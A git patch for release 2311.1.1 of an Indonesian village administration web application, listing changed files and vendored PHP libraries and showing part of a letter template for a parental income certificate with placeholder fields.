From d213b081fe487adf90e27ec86f0a46d53541d0e2 Mon Sep 17 00:00:00 2001 From: Abah Roland Date: Thu, 23 Nov 2023 00:39:09 +0700 Subject: [PATCH] Rilis 2311.1.1 --- .../Enums/StatusPengaduanEnum.php | 4 +- app/Libraries/TinyMCE.php | 2 +- app/Libraries/TinyMCE/FakeDataIsian.php | 521 + .../TinyMCE/KodeIsianAnggotaKeluarga.php | 2 +- app/Libraries/TinyMCE/KodeIsianAritmatika.php | 2 +- app/Libraries/TinyMCE/KodeIsianForm.php | 521 + .../Libraries/TinyMCE/KodeIsianGambar.php | 36 +- app/Libraries/TinyMCE/KodeIsianIdentitas.php | 2 +- .../TinyMCE/KodeIsianPenandaTangan.php | 2 +- app/Libraries/TinyMCE/KodeIsianPenduduk.php | 2 +- app/Libraries/TinyMCE/KodeIsianPeristiwa.php | 2 +- app/Libraries/TinyMCE/KodeIsianSurat.php | 2 +- app/Models/Artikel.php | 2 +- app/Models/LogLogin.php | 393 + app/Models/Pengaduan.php | 2 +- app/Models/PermohonanSurat.php | 2 +- app/Observers/UuidObserver.php | 449 + app/Traits/Uuid.php | 361 + assets/import/template_surat_tinymce.json | 9495 ++++++++--------- assets/js/admin.js | 5 + .../plugins/kodeisian/plugin.min.js | 92 +- catatan_rilis.md | 20 +- composer.json | 13 +- composer.lock | 379 +- donjo-app/controllers/Keluar.php | 2 +- donjo-app/controllers/Koneksi_database.php | 2 +- donjo-app/controllers/Pengaduan_admin.php | 2 +- .../controllers/Permohonan_surat_admin.php | 2 +- donjo-app/controllers/Surat.php | 2 +- donjo-app/controllers/Surat_master.php | 2 +- donjo-app/controllers/Web.php | 2 +- .../{api => external_api}/Sign.php | 76 +- .../external_api/Surat_kecamatan.php | 641 ++ donjo-app/controllers/external_api/Tte.php | 545 + donjo-app/controllers/fweb/Pengaduan.php | 2 +- donjo-app/core/MY_Controller.php | 2 +- donjo-app/helpers/general_helper.php | 80 + donjo-app/helpers/opensid_helper.php | 2 +- donjo-app/models/Database_model.php | 2 +- donjo-app/models/Penduduk_model.php | 2 +- donjo-app/models/Pengaduan_model.php | 2 +- donjo-app/models/User_model.php | 2 +- donjo-app/models/Web_kategori_model.php | 2 +- donjo-app/models/migrations/Data_awal.php | 410 +- .../migrations/Migrasi_fitur_premium_2312.php | 41 +- donjo-app/models/migrations/Migrasi_jalan.php | 47 + donjo-app/views/pengaduan_admin/index.php | 134 - .../views/pengaduan_admin/modal_detail.php | 64 - .../views/pengaduan_admin/modal_form.php | 24 - donjo-app/views/pengaduan_admin/navigasi.php | 105 - donjo-app/views/surat/surat_keluar.php | 2 +- donjo-app/views/web/artikel/table.php | 2 +- .../partials/control_sidebar.blade.php | 4 +- .../admin/pengaduan_warga/detail.blade.php | 94 + .../admin/pengaduan_warga/form.blade.php | 55 + .../admin/pengaduan_warga/index.blade.php | 133 + .../admin/pengaduan_warga/widget.blade.php | 58 + .../pengaturan_surat/asset_tinymce.blade.php | 27 +- .../partials/modal_kodeisian.blade.php | 38 + .../partials/modal_sumber_penduduk.blade.php | 69 + .../partials/pengaturan_kodeisian.blade.php | 130 +- .../pengaturan_sumber_penduduk.blade.php | 208 +- .../admin/permohonan_surat/index.blade.php | 9 +- vendor/brick/math/composer.json | 35 + vendor/brick/math/src/BigDecimal.php | 895 ++ vendor/brick/math/src/BigInteger.php | 1184 ++ vendor/brick/math/src/BigNumber.php | 572 + vendor/brick/math/src/BigRational.php | 523 + .../src/Exception/DivisionByZeroException.php | 41 + .../Exception/IntegerOverflowException.php | 27 + .../math/src/Exception/MathException.php | 14 + .../src/Exception/NegativeNumberException.php | 12 + .../src/Exception/NumberFormatException.php | 35 + .../Exception/RoundingNecessaryException.php | 21 + vendor/brick/math/src/Internal/Calculator.php | 756 ++ .../Internal/Calculator/BcMathCalculator.php | 116 + .../src/Internal/Calculator/GmpCalculator.php | 156 + .../Internal/Calculator/NativeCalculator.php | 634 ++ vendor/brick/math/src/RoundingMode.php | 107 + vendor/composer/autoload_classmap.php | 2 + vendor/composer/autoload_files.php | 4 +- vendor/composer/autoload_psr4.php | 4 + vendor/composer/autoload_static.php | 32 +- vendor/composer/installed.json | 391 +- vendor/composer/installed.php | 64 +- vendor/ramsey/collection/composer.json | 120 + .../collection/conventional-commits.json | 22 + .../ramsey/collection/src/AbstractArray.php | 208 + .../collection/src/AbstractCollection.php | 341 + vendor/ramsey/collection/src/AbstractSet.php | 50 + .../ramsey/collection/src/ArrayInterface.php | 51 + vendor/ramsey/collection/src/Collection.php | 104 + .../collection/src/CollectionInterface.php | 206 + .../collection/src/DoubleEndedQueue.php | 187 + .../src/DoubleEndedQueueInterface.php | 317 + .../Exception/CollectionMismatchException.php | 24 + .../Exception/InvalidArgumentException.php | 22 + .../Exception/InvalidSortOrderException.php | 24 + .../src/Exception/NoSuchElementException.php | 24 + .../src/Exception/OutOfBoundsException.php | 22 + .../UnsupportedOperationException.php | 24 + .../Exception/ValueExtractionException.php | 24 + vendor/ramsey/collection/src/GenericArray.php | 24 + .../ramsey/collection/src/Map/AbstractMap.php | 163 + .../collection/src/Map/AbstractTypedMap.php | 68 + .../src/Map/AssociativeArrayMap.php | 25 + .../collection/src/Map/MapInterface.php | 149 + .../collection/src/Map/NamedParameterMap.php | 121 + vendor/ramsey/collection/src/Map/TypedMap.php | 132 + .../collection/src/Map/TypedMapInterface.php | 35 + vendor/ramsey/collection/src/Queue.php | 169 + .../ramsey/collection/src/QueueInterface.php | 204 + vendor/ramsey/collection/src/Set.php | 67 + .../ramsey/collection/src/Tool/TypeTrait.php | 74 + .../src/Tool/ValueExtractorTrait.php | 61 + .../src/Tool/ValueToStringTrait.php | 98 + vendor/ramsey/uuid/composer.json | 107 + vendor/ramsey/uuid/src/BinaryUtils.php | 63 + .../uuid/src/Builder/BuilderCollection.php | 80 + .../uuid/src/Builder/DefaultUuidBuilder.php | 26 + .../uuid/src/Builder/DegradedUuidBuilder.php | 76 + .../uuid/src/Builder/FallbackBuilder.php | 74 + .../uuid/src/Builder/UuidBuilderInterface.php | 39 + .../ramsey/uuid/src/Codec/CodecInterface.php | 71 + .../ramsey/uuid/src/Codec/GuidStringCodec.php | 55 + .../uuid/src/Codec/OrderedTimeCodec.php | 113 + vendor/ramsey/uuid/src/Codec/StringCodec.php | 138 + .../src/Codec/TimestampFirstCombCodec.php | 113 + .../uuid/src/Codec/TimestampLastCombCodec.php | 51 + .../Converter/Number/BigNumberConverter.php | 57 + .../Number/DegradedNumberConverter.php | 25 + .../Number/GenericNumberConverter.php | 63 + .../Converter/NumberConverterInterface.php | 57 + .../Converter/Time/BigNumberTimeConverter.php | 51 + .../Converter/Time/DegradedTimeConverter.php | 25 + .../Converter/Time/GenericTimeConverter.php | 124 + .../src/Converter/Time/PhpTimeConverter.php | 183 + .../src/Converter/TimeConverterInterface.php | 58 + vendor/ramsey/uuid/src/DegradedUuid.php | 25 + .../uuid/src/DeprecatedUuidInterface.php | 147 + .../uuid/src/DeprecatedUuidMethodsTrait.php | 370 + .../Exception/BuilderNotFoundException.php | 24 + .../uuid/src/Exception/DateTimeException.php | 24 + .../src/Exception/DceSecurityException.php | 25 + .../Exception/InvalidArgumentException.php | 24 + .../src/Exception/InvalidBytesException.php | 24 + .../Exception/InvalidUuidStringException.php | 25 + .../uuid/src/Exception/NameException.php | 25 + .../uuid/src/Exception/NodeException.php | 24 + .../src/Exception/RandomSourceException.php | 27 + .../src/Exception/TimeSourceException.php | 24 + .../Exception/UnableToBuildUuidException.php | 24 + .../UnsupportedOperationException.php | 24 + .../src/Exception/UuidExceptionInterface.php | 21 + vendor/ramsey/uuid/src/FeatureSet.php | 449 + .../uuid/src/Fields/FieldsInterface.php | 32 + .../src/Fields/SerializableFieldsTrait.php | 86 + .../uuid/src/Generator/CombGenerator.php | 127 + .../src/Generator/DceSecurityGenerator.php | 160 + .../DceSecurityGeneratorInterface.php | 53 + .../src/Generator/DefaultNameGenerator.php | 48 + .../src/Generator/DefaultTimeGenerator.php | 147 + .../src/Generator/NameGeneratorFactory.php | 30 + .../src/Generator/NameGeneratorInterface.php | 38 + .../src/Generator/PeclUuidNameGenerator.php | 54 + .../src/Generator/PeclUuidRandomGenerator.php | 35 + .../src/Generator/PeclUuidTimeGenerator.php | 39 + .../src/Generator/RandomBytesGenerator.php | 45 + .../src/Generator/RandomGeneratorFactory.php | 30 + .../Generator/RandomGeneratorInterface.php | 30 + .../uuid/src/Generator/RandomLibAdapter.php | 55 + .../src/Generator/TimeGeneratorFactory.php | 63 + .../src/Generator/TimeGeneratorInterface.php | 38 + vendor/ramsey/uuid/src/Guid/Fields.php | 194 + vendor/ramsey/uuid/src/Guid/Guid.php | 61 + vendor/ramsey/uuid/src/Guid/GuidBuilder.php | 89 + .../uuid/src/Lazy/LazyUuidFromString.php | 575 + .../uuid/src/Math/BrickMathCalculator.php | 144 + .../uuid/src/Math/CalculatorInterface.php | 106 + vendor/ramsey/uuid/src/Math/RoundingMode.php | 146 + vendor/ramsey/uuid/src/Nonstandard/Fields.php | 133 + vendor/ramsey/uuid/src/Nonstandard/Uuid.php | 37 + .../uuid/src/Nonstandard/UuidBuilder.php | 88 + vendor/ramsey/uuid/src/Nonstandard/UuidV6.php | 133 + .../Dce/SystemDceSecurityProvider.php | 234 + .../Provider/DceSecurityProviderInterface.php | 41 + .../Provider/Node/FallbackNodeProvider.php | 60 + .../Provider/Node/NodeProviderCollection.php | 61 + .../src/Provider/Node/RandomNodeProvider.php | 69 + .../src/Provider/Node/StaticNodeProvider.php | 76 + .../src/Provider/Node/SystemNodeProvider.php | 173 + .../src/Provider/NodeProviderInterface.php | 30 + .../src/Provider/Time/FixedTimeProvider.php | 63 + .../src/Provider/Time/SystemTimeProvider.php | 33 + .../src/Provider/TimeProviderInterface.php | 28 + vendor/ramsey/uuid/src/Rfc4122/Fields.php | 194 + .../uuid/src/Rfc4122/FieldsInterface.php | 126 + vendor/ramsey/uuid/src/Rfc4122/NilTrait.php | 41 + vendor/ramsey/uuid/src/Rfc4122/NilUuid.php | 27 + .../ramsey/uuid/src/Rfc4122/UuidBuilder.php | 111 + .../ramsey/uuid/src/Rfc4122/UuidInterface.php | 36 + vendor/ramsey/uuid/src/Rfc4122/UuidV1.php | 92 + vendor/ramsey/uuid/src/Rfc4122/UuidV2.php | 143 + vendor/ramsey/uuid/src/Rfc4122/UuidV3.php | 58 + vendor/ramsey/uuid/src/Rfc4122/UuidV4.php | 58 + vendor/ramsey/uuid/src/Rfc4122/UuidV5.php | 58 + vendor/ramsey/uuid/src/Rfc4122/Validator.php | 49 + .../ramsey/uuid/src/Rfc4122/VariantTrait.php | 90 + .../ramsey/uuid/src/Rfc4122/VersionTrait.php | 57 + vendor/ramsey/uuid/src/Type/Decimal.php | 137 + vendor/ramsey/uuid/src/Type/Hexadecimal.php | 116 + vendor/ramsey/uuid/src/Type/Integer.php | 153 + .../ramsey/uuid/src/Type/NumberInterface.php | 28 + vendor/ramsey/uuid/src/Type/Time.php | 139 + vendor/ramsey/uuid/src/Type/TypeInterface.php | 30 + vendor/ramsey/uuid/src/Uuid.php | 664 ++ vendor/ramsey/uuid/src/UuidFactory.php | 493 + .../ramsey/uuid/src/UuidFactoryInterface.php | 182 + vendor/ramsey/uuid/src/UuidInterface.php | 99 + .../uuid/src/Validator/GenericValidator.php | 50 + .../uuid/src/Validator/ValidatorInterface.php | 41 + vendor/ramsey/uuid/src/functions.php | 123 + vendor/symfony/polyfill-php81/Php81.php | 37 + .../Resources/stubs/CURLStringFile.php | 51 + .../Resources/stubs/ReturnTypeWillChange.php | 20 + vendor/symfony/polyfill-php81/bootstrap.php | 28 + vendor/symfony/polyfill-php81/composer.json | 36 + vendor/themes/esensi/commons/meta.php | 2 +- vendor/themes/natra/commons/meta.php | 2 +- .../natra/partials/informasi_publik.php | 48 + .../natra/partials/pembangunan/detail.php | 2 +- .../natra/partials/pembangunan/index.php | 4 +- 232 files changed, 28486 insertions(+), 5900 deletions(-) rename donjo-app/controllers/api/Tte.php => app/Enums/StatusPengaduanEnum.php (64%) create mode 100644 app/Libraries/TinyMCE/FakeDataIsian.php create mode 100644 app/Libraries/TinyMCE/KodeIsianForm.php rename donjo-app/controllers/api/Surat_kecamatan.php => app/Libraries/TinyMCE/KodeIsianGambar.php (69%) create mode 100644 app/Models/LogLogin.php create mode 100644 app/Observers/UuidObserver.php create mode 100644 app/Traits/Uuid.php rename donjo-app/controllers/{api => external_api}/Sign.php (82%) create mode 100644 donjo-app/controllers/external_api/Surat_kecamatan.php create mode 100644 donjo-app/controllers/external_api/Tte.php delete mode 100644 donjo-app/views/pengaduan_admin/index.php delete mode 100644 donjo-app/views/pengaduan_admin/modal_detail.php delete mode 100644 donjo-app/views/pengaduan_admin/modal_form.php delete mode 100644 donjo-app/views/pengaduan_admin/navigasi.php create mode 100644 resources/views/admin/pengaduan_warga/detail.blade.php create mode 100644 resources/views/admin/pengaduan_warga/form.blade.php create mode 100644 resources/views/admin/pengaduan_warga/index.blade.php create mode 100644 resources/views/admin/pengaduan_warga/widget.blade.php create mode 100644 resources/views/admin/pengaturan_surat/partials/modal_kodeisian.blade.php create mode 100644 resources/views/admin/pengaturan_surat/partials/modal_sumber_penduduk.blade.php create mode 100644 vendor/brick/math/composer.json create mode 100644 vendor/brick/math/src/BigDecimal.php create mode 100644 vendor/brick/math/src/BigInteger.php create mode 100644 vendor/brick/math/src/BigNumber.php create mode 100644 vendor/brick/math/src/BigRational.php create mode 100644 vendor/brick/math/src/Exception/DivisionByZeroException.php create mode 100644 vendor/brick/math/src/Exception/IntegerOverflowException.php create mode 100644 vendor/brick/math/src/Exception/MathException.php create mode 100644 vendor/brick/math/src/Exception/NegativeNumberException.php create mode 100644 vendor/brick/math/src/Exception/NumberFormatException.php create mode 100644 vendor/brick/math/src/Exception/RoundingNecessaryException.php create mode 100644 vendor/brick/math/src/Internal/Calculator.php create mode 100644 vendor/brick/math/src/Internal/Calculator/BcMathCalculator.php create mode 100644 vendor/brick/math/src/Internal/Calculator/GmpCalculator.php create mode 100644 vendor/brick/math/src/Internal/Calculator/NativeCalculator.php create mode 100644 vendor/brick/math/src/RoundingMode.php create mode 100644 vendor/ramsey/collection/composer.json create mode 100644 vendor/ramsey/collection/conventional-commits.json create mode 100644 vendor/ramsey/collection/src/AbstractArray.php create mode 100644 vendor/ramsey/collection/src/AbstractCollection.php create mode 100644 vendor/ramsey/collection/src/AbstractSet.php create mode 100644 vendor/ramsey/collection/src/ArrayInterface.php create mode 100644 vendor/ramsey/collection/src/Collection.php create mode 100644 vendor/ramsey/collection/src/CollectionInterface.php create mode 100644 vendor/ramsey/collection/src/DoubleEndedQueue.php create mode 100644 vendor/ramsey/collection/src/DoubleEndedQueueInterface.php create mode 100644 vendor/ramsey/collection/src/Exception/CollectionMismatchException.php create mode 100644 vendor/ramsey/collection/src/Exception/InvalidArgumentException.php create mode 100644 vendor/ramsey/collection/src/Exception/InvalidSortOrderException.php create mode 100644 vendor/ramsey/collection/src/Exception/NoSuchElementException.php create mode 100644 vendor/ramsey/collection/src/Exception/OutOfBoundsException.php create mode 100644 vendor/ramsey/collection/src/Exception/UnsupportedOperationException.php create mode 100644 vendor/ramsey/collection/src/Exception/ValueExtractionException.php create mode 100644 vendor/ramsey/collection/src/GenericArray.php create mode 100644 vendor/ramsey/collection/src/Map/AbstractMap.php create mode 100644 vendor/ramsey/collection/src/Map/AbstractTypedMap.php create mode 100644 vendor/ramsey/collection/src/Map/AssociativeArrayMap.php create mode 100644 vendor/ramsey/collection/src/Map/MapInterface.php create mode 100644 vendor/ramsey/collection/src/Map/NamedParameterMap.php create mode 100644 vendor/ramsey/collection/src/Map/TypedMap.php create mode 100644 vendor/ramsey/collection/src/Map/TypedMapInterface.php create mode 100644 vendor/ramsey/collection/src/Queue.php create mode 100644 vendor/ramsey/collection/src/QueueInterface.php create mode 100644 vendor/ramsey/collection/src/Set.php create mode 100644 vendor/ramsey/collection/src/Tool/TypeTrait.php create mode 100644 vendor/ramsey/collection/src/Tool/ValueExtractorTrait.php create mode 100644 vendor/ramsey/collection/src/Tool/ValueToStringTrait.php create mode 100644 vendor/ramsey/uuid/composer.json create mode 100644 vendor/ramsey/uuid/src/BinaryUtils.php create mode 100644 vendor/ramsey/uuid/src/Builder/BuilderCollection.php create mode 100644 vendor/ramsey/uuid/src/Builder/DefaultUuidBuilder.php create mode 100644 vendor/ramsey/uuid/src/Builder/DegradedUuidBuilder.php create mode 100644 vendor/ramsey/uuid/src/Builder/FallbackBuilder.php create mode 100644 vendor/ramsey/uuid/src/Builder/UuidBuilderInterface.php create mode 100644 vendor/ramsey/uuid/src/Codec/CodecInterface.php create mode 100644 vendor/ramsey/uuid/src/Codec/GuidStringCodec.php create mode 100644 vendor/ramsey/uuid/src/Codec/OrderedTimeCodec.php create mode 100644 vendor/ramsey/uuid/src/Codec/StringCodec.php create mode 100644 vendor/ramsey/uuid/src/Codec/TimestampFirstCombCodec.php create mode 100644 vendor/ramsey/uuid/src/Codec/TimestampLastCombCodec.php create mode 100644 vendor/ramsey/uuid/src/Converter/Number/BigNumberConverter.php create mode 100644 vendor/ramsey/uuid/src/Converter/Number/DegradedNumberConverter.php create mode 100644 vendor/ramsey/uuid/src/Converter/Number/GenericNumberConverter.php create mode 100644 vendor/ramsey/uuid/src/Converter/NumberConverterInterface.php create mode 100644 vendor/ramsey/uuid/src/Converter/Time/BigNumberTimeConverter.php create mode 100644 vendor/ramsey/uuid/src/Converter/Time/DegradedTimeConverter.php create mode 100644 vendor/ramsey/uuid/src/Converter/Time/GenericTimeConverter.php create mode 100644 vendor/ramsey/uuid/src/Converter/Time/PhpTimeConverter.php create mode 100644 vendor/ramsey/uuid/src/Converter/TimeConverterInterface.php create mode 100644 vendor/ramsey/uuid/src/DegradedUuid.php create mode 100644 vendor/ramsey/uuid/src/DeprecatedUuidInterface.php create mode 100644 vendor/ramsey/uuid/src/DeprecatedUuidMethodsTrait.php create mode 100644 vendor/ramsey/uuid/src/Exception/BuilderNotFoundException.php create mode 100644 vendor/ramsey/uuid/src/Exception/DateTimeException.php create mode 100644 vendor/ramsey/uuid/src/Exception/DceSecurityException.php create mode 100644 vendor/ramsey/uuid/src/Exception/InvalidArgumentException.php create mode 100644 vendor/ramsey/uuid/src/Exception/InvalidBytesException.php create mode 100644 vendor/ramsey/uuid/src/Exception/InvalidUuidStringException.php create mode 100644 vendor/ramsey/uuid/src/Exception/NameException.php create mode 100644 vendor/ramsey/uuid/src/Exception/NodeException.php create mode 100644 vendor/ramsey/uuid/src/Exception/RandomSourceException.php create mode 100644 vendor/ramsey/uuid/src/Exception/TimeSourceException.php create mode 100644 vendor/ramsey/uuid/src/Exception/UnableToBuildUuidException.php create mode 100644 vendor/ramsey/uuid/src/Exception/UnsupportedOperationException.php create mode 100644 vendor/ramsey/uuid/src/Exception/UuidExceptionInterface.php create mode 100644 vendor/ramsey/uuid/src/FeatureSet.php create mode 100644 vendor/ramsey/uuid/src/Fields/FieldsInterface.php create mode 100644 vendor/ramsey/uuid/src/Fields/SerializableFieldsTrait.php create mode 100644 vendor/ramsey/uuid/src/Generator/CombGenerator.php create mode 100644 vendor/ramsey/uuid/src/Generator/DceSecurityGenerator.php create mode 100644 vendor/ramsey/uuid/src/Generator/DceSecurityGeneratorInterface.php create mode 100644 vendor/ramsey/uuid/src/Generator/DefaultNameGenerator.php create mode 100644 vendor/ramsey/uuid/src/Generator/DefaultTimeGenerator.php create mode 100644 vendor/ramsey/uuid/src/Generator/NameGeneratorFactory.php create mode 100644 vendor/ramsey/uuid/src/Generator/NameGeneratorInterface.php create mode 100644 vendor/ramsey/uuid/src/Generator/PeclUuidNameGenerator.php create mode 100644 vendor/ramsey/uuid/src/Generator/PeclUuidRandomGenerator.php create mode 100644 vendor/ramsey/uuid/src/Generator/PeclUuidTimeGenerator.php create mode 100644 vendor/ramsey/uuid/src/Generator/RandomBytesGenerator.php create mode 100644 vendor/ramsey/uuid/src/Generator/RandomGeneratorFactory.php create mode 100644 vendor/ramsey/uuid/src/Generator/RandomGeneratorInterface.php create mode 100644 vendor/ramsey/uuid/src/Generator/RandomLibAdapter.php create mode 100644 vendor/ramsey/uuid/src/Generator/TimeGeneratorFactory.php create mode 100644 vendor/ramsey/uuid/src/Generator/TimeGeneratorInterface.php create mode 100644 vendor/ramsey/uuid/src/Guid/Fields.php create mode 100644 vendor/ramsey/uuid/src/Guid/Guid.php create mode 100644 vendor/ramsey/uuid/src/Guid/GuidBuilder.php create mode 100644 vendor/ramsey/uuid/src/Lazy/LazyUuidFromString.php create mode 100644 vendor/ramsey/uuid/src/Math/BrickMathCalculator.php create mode 100644 vendor/ramsey/uuid/src/Math/CalculatorInterface.php create mode 100644 vendor/ramsey/uuid/src/Math/RoundingMode.php create mode 100644 vendor/ramsey/uuid/src/Nonstandard/Fields.php create mode 100644 vendor/ramsey/uuid/src/Nonstandard/Uuid.php create mode 100644 vendor/ramsey/uuid/src/Nonstandard/UuidBuilder.php create mode 100644 vendor/ramsey/uuid/src/Nonstandard/UuidV6.php create mode 100644 vendor/ramsey/uuid/src/Provider/Dce/SystemDceSecurityProvider.php create mode 100644 vendor/ramsey/uuid/src/Provider/DceSecurityProviderInterface.php create mode 100644 vendor/ramsey/uuid/src/Provider/Node/FallbackNodeProvider.php create mode 100644 vendor/ramsey/uuid/src/Provider/Node/NodeProviderCollection.php create mode 100644 vendor/ramsey/uuid/src/Provider/Node/RandomNodeProvider.php create mode 100644 vendor/ramsey/uuid/src/Provider/Node/StaticNodeProvider.php create mode 100644 vendor/ramsey/uuid/src/Provider/Node/SystemNodeProvider.php create mode 100644 vendor/ramsey/uuid/src/Provider/NodeProviderInterface.php create mode 100644 vendor/ramsey/uuid/src/Provider/Time/FixedTimeProvider.php create mode 100644 vendor/ramsey/uuid/src/Provider/Time/SystemTimeProvider.php create mode 100644 vendor/ramsey/uuid/src/Provider/TimeProviderInterface.php create mode 100644 vendor/ramsey/uuid/src/Rfc4122/Fields.php create mode 100644 vendor/ramsey/uuid/src/Rfc4122/FieldsInterface.php create mode 100644 vendor/ramsey/uuid/src/Rfc4122/NilTrait.php create mode 100644 vendor/ramsey/uuid/src/Rfc4122/NilUuid.php create mode 100644 vendor/ramsey/uuid/src/Rfc4122/UuidBuilder.php create mode 100644 vendor/ramsey/uuid/src/Rfc4122/UuidInterface.php create mode 100644 vendor/ramsey/uuid/src/Rfc4122/UuidV1.php create mode 100644 vendor/ramsey/uuid/src/Rfc4122/UuidV2.php create mode 100644 vendor/ramsey/uuid/src/Rfc4122/UuidV3.php create mode 100644 vendor/ramsey/uuid/src/Rfc4122/UuidV4.php create mode 100644 vendor/ramsey/uuid/src/Rfc4122/UuidV5.php create mode 100644 vendor/ramsey/uuid/src/Rfc4122/Validator.php create mode 100644 vendor/ramsey/uuid/src/Rfc4122/VariantTrait.php create mode 100644 vendor/ramsey/uuid/src/Rfc4122/VersionTrait.php create mode 100644 vendor/ramsey/uuid/src/Type/Decimal.php create mode 100644 vendor/ramsey/uuid/src/Type/Hexadecimal.php create mode 100644 vendor/ramsey/uuid/src/Type/Integer.php create mode 100644 vendor/ramsey/uuid/src/Type/NumberInterface.php create mode 100644 vendor/ramsey/uuid/src/Type/Time.php create mode 100644 vendor/ramsey/uuid/src/Type/TypeInterface.php create mode 100644 vendor/ramsey/uuid/src/Uuid.php create mode 100644 vendor/ramsey/uuid/src/UuidFactory.php create mode 100644 vendor/ramsey/uuid/src/UuidFactoryInterface.php create mode 100644 vendor/ramsey/uuid/src/UuidInterface.php create mode 100644 vendor/ramsey/uuid/src/Validator/GenericValidator.php create mode 100644 vendor/ramsey/uuid/src/Validator/ValidatorInterface.php create mode 100644 vendor/ramsey/uuid/src/functions.php create mode 100644 vendor/symfony/polyfill-php81/Php81.php create mode 100644 vendor/symfony/polyfill-php81/Resources/stubs/CURLStringFile.php create mode 100644 vendor/symfony/polyfill-php81/Resources/stubs/ReturnTypeWillChange.php create mode 100644 vendor/symfony/polyfill-php81/bootstrap.php create mode 100644 vendor/symfony/polyfill-php81/composer.json create mode 100644 vendor/themes/natra/partials/informasi_publik.php diff --git a/donjo-app/controllers/api/Tte.php b/app/Enums/StatusPengaduanEnum.php similarity index 64% rename from donjo-app/controllers/api/Tte.php rename to app/Enums/StatusPengaduanEnum.php index e0dd3ea75..953e3dd4c 100644 --- a/donjo-app/controllers/api/Tte.php +++ b/app/Enums/StatusPengaduanEnum.php @@ -1,5 +1,5 @@ [JUdul_surat]<\/span><\/h4>\r\n

Nomor : [Format_nomor_suraT]

<\/p>\r\n

Yang bertanda tangan di bawah ini [JaBatan] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten], Provinsi [NaMa_provinsi] menerangkan dengan sebenarnya bahwa :<\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
\u00a0<\/td>\r\n1.<\/td>\r\nNama Lengkap<\/td>\r\n:<\/td>\r\n[NaMa_ayah]<\/strong><\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n2.<\/td>\r\nNIK \/ No. KTP<\/td>\r\n:<\/td>\r\n[Nik_ayaH]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n3.<\/td>\r\nTempat \/ Tanggal Lahir<\/td>\r\n:<\/td>\r\n[TtL_ayah]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n4.<\/td>\r\nJenis Kelamin<\/td>\r\n:<\/td>\r\n[JeNis_kelamin_ayah]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n5.<\/td>\r\nAgama<\/td>\r\n:<\/td>\r\n[AgAma_ayah]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n6<\/td>\r\nPekerjaan<\/td>\r\n:<\/td>\r\n[PeKerjaan_ayah]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n7.<\/td>\r\nKewarganegaraan<\/td>\r\n:<\/td>\r\n[WArga_negara_ayah]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n8.

<\/td>\r\n
Alamat \/ Tempat Tinggal

<\/td>\r\n
:

<\/td>\r\n
[AlAmat_ayah] [Sebutan_desa] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

Orang yang tersebut di atas adalah benar-benar warga kami yang bertempat tinggal di [AlamaT] [Sebutan_desa] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten] dan tercatat dalam No. KK : [No_kK] dengan NIK [Nik_ayaH] Kepala Keluarga : [Kepala_kK] dan menurut sepengetahuan kami memang benar berpenghasilan rata-rata [Form_penghasilan_ayaH] ([TerbilanG][[Form_penghasilan_ayaH]]) \/ Perbulan.

<\/p>\r\n

Surat Keterangan ini dibuat atas permintaan yang bersangkutan untuk keperluan anaknya untuk [Form_keperluaN] di [Form_nama_sekolaH]<\/strong> <\/strong>atas nama :<\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
\u00a0<\/td>\r\n1.<\/td>\r\nNama Lengkap<\/td>\r\n:<\/td>\r\n[NAma] <\/strong><\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n2.<\/td>\r\nNIK \/ No. KTP<\/td>\r\n:<\/td>\r\n[Nik]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n3.<\/td>\r\nTempat \/ Tanggal Lahir<\/td>\r\n:<\/td>\r\n[TtL]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n4.<\/td>\r\nJenis Kelamin<\/td>\r\n:<\/td>\r\n[Jenis_kelamin]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n5.<\/td>\r\nAgama<\/td>\r\n:<\/td>\r\n[AgAma]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n6<\/td>\r\nStatus<\/td>\r\n:<\/td>\r\n[Status_kawiN]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n7.<\/td>\r\nPendidikan<\/td>\r\n:<\/td>\r\n[Pendidikan_sedanG]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n8.<\/td>\r\nPekerjaan<\/td>\r\n:<\/td>\r\n[PeKerjaan]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n9.<\/td>\r\nKewarganegaraan<\/td>\r\n:<\/td>\r\n[WArga_negara]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n10.

<\/td>\r\n
Alamat \/ Tempat Tinggal

<\/td>\r\n
:

<\/td>\r\n
[AlamaT] [Sebutan_desa] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

Demikian surat keterangan ini dibuat dengan sebenarnya, untuk dipergunakan sebagaimana mestinya.

<\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
\u00a0<\/td>\r\n\u00a0<\/td>\r\n[NaMa_desa], [TgL_surat]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n\u00a0<\/td>\r\n[Atas_namA]<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n



<\/td>\r\n
\u00a0<\/td>\r\n<\/tr>\r\n
\u00a0<\/td>\r\n\u00a0<\/td>\r\n[Nama_pamonG]<\/td>\r\n<\/tr>\r\n
